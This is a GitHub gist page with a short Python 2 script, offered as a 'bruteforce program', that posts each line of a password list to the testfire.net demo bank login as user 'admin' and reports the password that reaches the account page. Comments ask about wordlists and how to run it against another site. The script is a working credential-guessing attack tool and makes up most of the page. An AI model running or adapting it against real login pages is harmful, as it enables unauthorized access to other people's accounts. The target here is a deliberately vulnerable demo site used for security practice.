Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Bruteforce program written in python
import sys
import requests
from bs4 import BeautifulSoup as BS
proxyDict = {"http" : "127.0.0.1:8082" }
url = "http://www.testfire.net/bank/login.aspx"
def connect(url,m):
t = requests.post("http://www.testfire.net/bank/login.aspx", data=m, proxies=proxyDict)
print t.text
soup = BS(t.text)
a=soup.find('a', id="_ctl0__ctl0_Content_AccountLink")
x = str(a.string)
print x
if x == "MY ACCOUNT" :
print "The password is" + " " + m['passw']
sys.exit()
else:
print "Password %s not working" %m['passw']
def controller():
m = {}
f=open('password.txt','r').read().split('\n')
for line in f:
m["uid"] = "admin"
m["passw"] = str(line)
m["btnSubmit"] = "Login"
print m
connect(url,m)
controller()
@ghost

This comment has been minimized.

Copy link

commented Oct 1, 2013

Very nice, but is the password file dictionary based or is it literal brute-force based on alphanumeric-permutations?

@reegun

This comment has been minimized.

Copy link

commented Oct 2, 2013

password.txt is the passwords list,it might be dictionary based or the collection of passwords you have,Its depends up on your collections

@Ashm2K04

This comment has been minimized.

Copy link

commented Mar 5, 2018

hi i am new on python , when I launch the program it doesn't work. must I be administrator to launch it ?(I replaced the url by my site)

@shivam13juna

This comment has been minimized.

Copy link

commented Feb 14, 2019

hi I am new on python, when I launch the program it doesn't work. must I be administrator to launch it ?(I replaced the url by my site)

Ans to this will depend on what error you're getting, but you can try sudo python3 program_name.py
to see if it works, or else you can post error.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.